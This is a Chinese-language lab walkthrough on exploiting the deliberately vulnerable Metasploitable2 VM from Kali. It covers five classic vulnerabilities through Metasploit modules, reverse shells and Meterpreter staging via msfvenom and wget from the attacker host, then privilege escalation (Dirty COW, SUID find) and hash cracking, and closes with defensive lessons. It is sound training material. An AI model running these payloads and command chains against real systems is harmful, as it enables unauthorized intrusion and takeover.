
1. 项目概述从靶场到实战思维的桥梁如果你刚接触网络安全面对Kali Linux和Metasploit这些名字可能会觉得它们既神秘又强大仿佛掌握了就能瞬间“黑”进任何系统。但现实是没有经过系统训练的盲目尝试就像拿着一把没装准星的狙击枪不仅打不中目标还可能伤到自己。这正是为什么我们需要一个安全、合法的训练场——Metasploitable2靶机。这个项目就是带你用最经典的渗透测试工具链Kali Linux Metasploit去攻克一个精心设计的、充满漏洞的“沙盒”从而把电影里的炫酷场景变成你可理解、可复现、可掌控的实操技能。Metasploitable2不是一个真实的系统而是一个由Metasploit框架的创造者Rapid7官方发布的、故意预置了大量已知漏洞的Linux虚拟机。它的存在意义就是让你在一个绝对可控的环境里合法地练习攻击技术理解漏洞原理并最终形成“攻击者思维”从而更好地进行防御。本次我们将聚焦其中5个最具代表性和教学价值的经典漏洞从信息收集开始到漏洞利用、权限提升最后完成后渗透操作。我会附上每一步的详细命令和解释确保你不仅能“照做”更能“看懂”。重要提示所有操作务必在你自己搭建的虚拟化环境如VMware或VirtualBox中进行确保攻击机Kali和靶机Metasploitable2处于同一隔离的虚拟网络如NAT或Host-Only模式。绝对禁止对任何未经明确授权的真实系统进行测试这是法律和道德的底线。2. 环境搭建与前期准备在开始“冲锋”之前稳固的“后方基地”至关重要。这个环节看似枯燥却能避免你后续90%的“莫名其妙”的错误。2.1 Kali Linux攻击机配置Kali Linux是渗透测试的瑞士军刀我们选择它作为攻击平台。如果你还没有安装建议使用虚拟机方式安装最新版本。安装完成后第一件事不是急着打开Metasploit而是进行基础优化。首先更新系统并升级所有软件包。打开终端输入sudo apt update sudo apt full-upgrade -yapt update是刷新软件源列表full-upgrade会智能处理依赖关系进行完整升级。这个过程可能需要一些时间。接下来初始化Metasploit的数据库。Metasploit使用PostgreSQL数据库来存储扫描结果、会话信息等这让管理多个目标和任务变得非常方便。sudo msfdb init sudo msfdb start如果遇到数据库连接错误通常是PostgreSQL服务没有运行。可以手动启动并设置开机自启sudo systemctl start postgresql sudo systemctl enable postgresql完成后你可以通过msfconsole命令进入Metasploit框架的控制台。首次启动可能会稍慢因为它需要加载大量模块。2.2 Metasploitable2靶机部署从官方渠道下载Metasploitable2的虚拟机镜像通常是一个.ova或.vmdk文件。使用VMware Workstation或VirtualBox直接导入即可。导入后有一个关键设置网络适配器。你必须将Kali和Metasploitable2的虚拟机网络设置为同一模式。最推荐的是“Host-Only仅主机网络”或“NAT网络”在VirtualBox中称为“内部网络”。这样能创建一个与你的物理主机隔离的虚拟局域网两台虚拟机可以互相通信但无法访问外网最为安全。启动Metasploitable2其默认登录凭证是msfadmin/msfadmin。登录后使用ifconfig命令查看其IP地址记下它例如192.168.56.102。同样在Kali中使用ip a命令查看自己的IP地址例如192.168.56.101。使用ping命令测试双向连通性# 在Kali中ping靶机 ping -c 4 192.168.56.102 # 在Metasploitable2中ping Kali (如果需要) ping -c 4 192.168.56.101能收到回复说明网络通路已经建立。2.3 基础信息收集Reconnaissance在发动任何攻击之前充分的侦察是成功的一半。我们将使用Nmap这个“网络地图绘制仪”来扫描靶机。在Kali终端中运行一个全面的扫描sudo nmap -sV -sC -O -p- 192.168.56.102让我解释一下这些参数-sV: 探测服务版本。光知道开了80端口HTTP不够我们还要知道是Apache 2.2.8还是Nginx 1.18。-sC: 使用默认的Nmap脚本进行扫描能发现更多信息比如HTTP标题、FTP匿名登录等。-O: 尝试识别目标操作系统。-p-: 扫描所有65535个端口而不是默认的1000个常用端口。在Metasploitable2上很多服务都开在非常用端口上。扫描完成后你会得到一份详细的报告。记录下所有开放的端口及其对应的服务这是我们后续攻击的“目标清单”。典型的Metasploitable2会开放数十个端口包括21FTP、22SSH、23Telnet、80HTTP、443HTTPS、3306MySQL、5432PostgreSQL等等。3. 五大经典漏洞实战利用解析现在我们进入核心环节。我将按照从易到难、从网络服务到Web应用的顺序逐一击破五个经典漏洞。每个漏洞的利用都是一次完整的“侦察-利用-控制”流程的微缩演练。3.1 漏洞一VSFTPD 2.3.4 后门漏洞端口21这是一个非常“古老”但教学意义极强的漏洞。VSFTPDVery Secure FTP Daemon在2.3.4版本中被植入了一个恶意后门。当用户在用户名中输入特定字符时会触发一个后门直接获得一个root权限的shell。侦察确认从之前的Nmap扫描中我们可能看到类似vsftpd 2.3.4的版本信息。我们可以用Metasploit的辅助模块进行精准验证。启动msfconsole。搜索相关模块search vsftpd。使用漏洞利用模块use exploit/unix/ftp/vsftpd_234_backdoor。查看需要设置的参数show options。通常只需要设置目标地址RHOSTS。设置目标set RHOSTS 192.168.56.102。运行攻击exploit。如果目标存在此漏洞攻击会瞬间成功你将直接获得一个具有root权限的命令行shell。你可以尝试执行id或whoami命令来确认权限。实操心得这个漏洞的利用成功率接近100%且直接获得最高权限。但它也像一个“童话故事”在现实世界中几乎绝迹。它的教学价值在于让你理解“软件供应链攻击”的可怕——一个看似正常的软件更新包可能就包含了致命后门。在利用时注意exploit命令执行后如果成功你的Metasploit会话会“挂起”因为它在等待一个反向连接。此时新弹出的shell就是靶机的root shell。3.2 漏洞二UnrealIRCd 3.2.8.1 后门漏洞端口6667IRC互联网中继聊天是一个古老的聊天协议。UnrealIRCd的这个版本同样被植入了后门允许远程攻击者在安装该服务的系统上执行任意命令。利用流程在msfconsole中search unrealircd。使用模块use exploit/unix/irc/unreal_ircd_3281_backdoor。设置参数set RHOSTS 192.168.56.102。注意这里需要指定RPORT为6667如果扫描结果如此。设置Payload我们需要一个Linux下的反向shell。set PAYLOAD cmd/unix/reverse_bash。设置监听信息set LHOST 192.168.56.101(你的Kali IP)set LPORT 4444。执行攻击exploit。成功后会得到一个普通的用户shell通常是运行IRC服务的用户如irc或nobody。此时你已立足但权限不高。后渗透提权尝试拿到初始shell后第一步是信息收集。运行uname -a查看内核版本cat /etc/passwd查看用户列表sudo -l查看当前用户能以root身份运行哪些命令如果提示需要密码可能不行。在Metasploitable2中由于系统老旧且配置不当可能存在内核漏洞或SUID权限滥用的问题可以尝试搜索本地提权漏洞。例如使用find / -perm -us -type f 2/dev/null查找所有SUID文件看看是否有nmap、vim、bash等程序的旧版本存在提权可能。3.3 漏洞三DistCCd 命令执行漏洞端口3632DistCC是一个用于分布式编译的程序。该版本中的DistCCd服务未对输入进行正确过滤导致可以远程执行命令。这是一个典型的“功能滥用”漏洞。利用步骤搜索search distcc。使用模块use exploit/unix/misc/distcc_exec。设置目标set RHOSTS 192.168.56.102。设置Payload同样选择cmd/unix/reverse_bash。设置LHOST和LPORT。exploit。这个漏洞利用成功后通常也会获得一个非root用户的shell。它演示了如何将一项正常的服务功能这里是指令传输编译转化为命令执行的通道。注意事项在利用这类命令执行漏洞时Payload的选择很重要。reverse_bash是一个Bash反向连接兼容性好。但如果目标系统默认shell不是bash或者/bin/bash路径不同可能会失败。此时可以尝试reverse_netcat或generic/shell_reverse_tcp。在show payloads命令的输出中可以查看所有兼容的Payload。3.4 漏洞四Samba “username map script” 命令注入漏洞端口139/445Samba是实现Linux/Unix与Windows间文件共享的服务。3.0.20到3.0.25rc3版本的Samba中username map script配置项存在命令注入漏洞允许远程攻击者通过特制的用户名执行任意命令。这是我们的重点漏洞因为它引出了强大的Meterpreter搜索search samba username。使用模块use exploit/multi/samba/usermap_script。设置目标set RHOSTS 192.168.56.102。关键步骤设置Payload。这次我们不使用简单的cmd/unix/reverse_bash而是升级到功能强大的Meterpreter。输入set PAYLOAD cmd/unix/reverse_netcat。等等这里有个陷阱。这个漏洞本身是命令注入最终执行的是系统命令。我们首先需要一个能建立稳定连接的“桥头堡”。reverse_netcat是一个用netcat建立的反向shell比较通用。但我们的目标是将其升级到Meterpreter。设置LHOST和LPORT例如4444。执行攻击exploit。如果成功你会获得一个基本的Netcat反向shell。现在我们在这个shell会话中手动将其升级到Meterpreter。这需要一点技巧在获得的简陋shell中首先判断系统架构uname -m。通常是i68632位。在Kali上使用msfvenom生成一个Meterpreter的Payload。打开一个新的Kali终端不要关闭已有的Metasploit会话msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST192.168.56.101 LPORT5555 -f elf shell.elf这生成了一个名为shell.elf的Linux可执行文件它会反向连接到我们Kali的5555端口。在Kali上启动一个HTTP服务让靶机下载这个文件。在存放shell.elf的目录下python3 -m http.server 8080。回到之前的简陋shell在Metasploit会话里下载这个文件wget http://192.168.56.101:8080/shell.elf -O /tmp/shell.elf如果wget不存在可以尝试curl。给文件添加执行权限chmod x /tmp/shell.elf。在另一个新的Kali终端里启动Metasploit监听器准备接收Meterpreter连接msfconsole -q use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.56.101 set LPORT 5555 exploit -j-j参数表示作为后台任务运行。回到简陋shell执行Payload/tmp/shell.elf 。如果一切顺利在监听器的终端里你会看到[*] Sending stage (1017704 bytes) ...的提示然后获得一个meterpreter 会话。输入sessions -i 1与之交互。这个过程虽然繁琐但极具教学价值。它模拟了真实渗透中“低权限shell - 上传工具 - 建立持久化控制”的完整链条。Meterpreter提供了远超普通shell的功能如文件系统浏览、截图、键盘记录、权限提升等。3.5 漏洞五PHP CGI参数注入漏洞端口80 HTTP服务Metasploitable2的Web服务ApachePHP也配置了漏洞。其中一个是PHP CGI参数注入CVE-2012-1823。当PHP以CGI模式运行时未能正确处理查询字符串导致攻击者可以执行任意代码。利用过程在msfconsole中search php cgi。使用模块use exploit/multi/http/php_cgi_arg_injection。设置目标set RHOSTS 192.168.56.102set TARGETURI /如果Web根目录不是/则需要修改。设置Payload由于是Web漏洞我们通常选择php/meterpreter/reverse_tcp它能直接给我们一个PHP环境的Meterpreter会话。设置LHOST和LPORT。exploit。成功之后你将直接获得一个meterpreter 会话。这个会话运行在Web服务的用户权限下通常是www-data。你可以立即尝试一些后渗透命令比如getuid查看当前用户sysinfo查看系统信息。Web漏洞的独特之处与前面直接攻击系统服务的漏洞不同PHP CGI漏洞属于Web应用层漏洞。它告诉我们即使操作系统本身固若金汤上层应用的一个微小配置失误或代码缺陷也可能成为整个系统沦陷的突破口。在真实的渗透测试中Web漏洞是最高发的入口点。4. 后渗透技巧与权限提升实战拿到初始访问权限无论是普通shell还是Meterpreter往往只是开始特别是当权限很低时如www-data用户。我们的目标是获取系统的最高控制权即root权限。在Metasploitable2上有多个经典的提权路径。4.1 内核漏洞提权Dirty COW (CVE-2016-5195)Dirty COW脏牛是Linux内核一个著名的竞态条件漏洞影响范围极广。Metasploitable2的内核版本很可能存在此漏洞。在Meterpreter会话中操作首先检查内核版本在meterpreter中输入shell进入系统shell然后输入uname -r。记下版本号。回到meterpreter上传一个编译好的脏牛漏洞利用程序。你需要在Kali上预先准备好 exploit 代码例如dirty.c并交叉编译或者从网上下载编译好的二进制文件。假设我们有一个名为dirty的利用程序。# 在meterpreter中 upload /path/to/dirty /tmp/dirty给文件执行权限chmod x /tmp/dirty。执行提权程序execute -f /tmp/dirty。程序运行后通常会告诉你一个新的root密码或者直接切换到一个具有root权限的shell。你可以尝试execute -f /bin/bash -c id来验证。实操心得内核提权是“高风险高回报”的操作。 exploit 程序可能会造成系统不稳定甚至崩溃这也是为什么要在靶机上练习。在真实环境中务必先在测试环境验证 exploit 的兼容性和稳定性。此外上传文件前最好用checkvm命令看看目标是不是虚拟机有些 exploit 在虚拟化环境中行为可能不同。4.2 SUID/SGID滥用提权SUIDSet User ID是Linux的一种特殊权限允许用户以文件所有者的权限来执行文件。如果系统管理员错误地将某些危险命令如find、vim、bash甚至cp设置了SUID位就可能被低权限用户利用来提权。查找SUID文件 在获得的shell中无论是meterpreter的shell还是普通shell运行find / -perm -us -type f 2/dev/null这条命令的意思是从根目录/开始查找所有设置了SUID位-perm -us的普通文件-type f并将所有错误信息2/dev/null丢弃。在Metasploitable2的结果中你可能会看到/usr/bin/find。这是一个经典的提权向量。利用find命令提权/usr/bin/find . -exec /bin/bash -p \;解释-exec参数允许find对找到的每个文件执行后面的命令。这里我们让它执行/bin/bash -p-p参数告诉bash保留特权即继承find的SUID权限也就是root权限。执行后你就获得了一个root shell。可以输入whoami验证。4.3 密码哈希抓取与破解获取root权限的另一种思路是拿到root用户的密码哈希然后尝试破解。在Linux中用户密码哈希存储在/etc/shadow文件但只有root可读。我们可以通过之前提到的提权方法先拿到root shell然后查看该文件。更“专业”的做法是使用Meterpreter的hashdump命令。但该命令通常需要System权限。如果我们已经有了一个root权限的Meterpreter会话可以直接运行meterpreter hashdump这会导出所有用户的用户名和密码哈希LM/NTLM格式但这里是Linux所以是传统的$id$salt$hash格式。你可以将这些哈希保存下来使用John the Ripper或Hashcat进行离线破解。在Kali中使用John破解# 将hashdump输出的内容保存到 hashes.txt 文件 john --wordlist/usr/share/wordlists/rockyou.txt hashes.txtrockyou.txt是一个包含数百万常见密码的字典文件。在Metasploitable2上msfadmin用户的密码很可能被快速破解出来因为它太常见了。5. 常见问题、排查技巧与防御启示即使跟着教程一步步做你也可能会遇到各种问题。这里我总结了一些常见的“坑”和排查思路。5.1 漏洞利用失败排查表问题现象可能原因排查步骤与解决方案exploit执行后无反应或提示[-] Exploit failed1. 目标服务不存在或未运行。2. 目标IP/端口设置错误。3. 网络不通。4. 漏洞已修复对Metasploitable2 unlikely。1. 在Kali上用nc -zv 靶机IP 端口测试端口连通性。2. 在靶机上用netstat -tulnp确认服务监听状态。3. 检查Kali和靶机的防火墙是否关闭sudo ufw disable。4. 在msfconsole中用check命令如果模块支持验证漏洞是否存在。收到session但立即断开1. Payload与目标架构/系统不兼容。2. 防病毒或入侵检测系统IDS拦截靶机一般没有。3. Payload不稳定。1. 确认目标系统是x86还是x64Linux还是Windows选择对应的Payload如linux/x86/meterpreter/reverse_tcp。2. 尝试使用reverse_https或bind_tcp等不同传输方式的Payload看是否能绕过基础检测。3. 尝试编码Payload以规避简单特征检测使用msfvenom的-e参数。Meterpreter的getsystem提权失败1. 目标系统缺少可利用的提权漏洞。2. 当前用户权限太低无法进行某些操作。3. UACWindows或类似机制阻止。1. 不要依赖getsystem它只是内置的几种自动提权技巧。失败是常态。2. 手动进行信息收集sysinfo,getuid,run post/multi/recon/local_exploit_suggester寻找本地提权漏洞。3. 尝试其他提权模块如use exploit/windows/local/bypassuac等。上传文件失败1. 当前目录没有写权限。2. 磁盘空间不足。3. 杀毒软件拦截。1. 使用pwd和getenv查看当前目录和环境尝试切换到/tmp或/var/tmp目录这些目录通常所有用户都有写权限。2. 使用df -h查看磁盘空间。3. 尝试将文件分割上传后再合并或使用不同的编码/传输方式。5.2 思维转变从“利用”到“防御”完成这一系列漏洞利用后最重要的不是记住那几条命令而是理解其背后的安全逻辑并转化为防御视角最小化攻击面Metasploitable2之所以脆弱是因为它默认开启了大量不必要的服务FTP, Telnet, IRC等。在真实服务器上应遵循“最小权限原则”关闭所有非必需的服务和端口。及时更新与补丁管理我们利用的漏洞如VSFTPD后门、Dirty COW都是早已公布并有补丁的。一套严格的补丁管理流程是防御已知漏洞最有效的手段。纵深防御不要指望一道防线。即使攻击者通过Web漏洞如PHP CGI进来了如果系统进行了恰当的权限划分如Web服务以低权限用户运行、部署了文件完整性监控FIM或主机入侵检测系统HIDS也能极大增加其横向移动和提权的难度。输入验证与过滤DistCCd和PHP CGI漏洞的本质都是未对用户输入进行严格过滤。在开发任何接受外部输入的应用时必须进行严格的验证、过滤和转义。安全配置Samba漏洞源于不安全的默认配置。所有软件安装后都应参考安全加固指南进行配置修改默认密码禁用危险功能。通过攻击Metasploitable2你实际上是在以攻击者的视角遍历一遍常见的安全薄弱点。当你再回到防御者角色时你会更清楚该在哪里筑墙该重点监控哪些日志以及一次成功的攻击链是如何形成的。这才是这个靶场以及Kali Linux、Metasploit这些工具带给安全从业者和爱好者的最大价值——不是学会如何破坏而是深刻理解如何构建。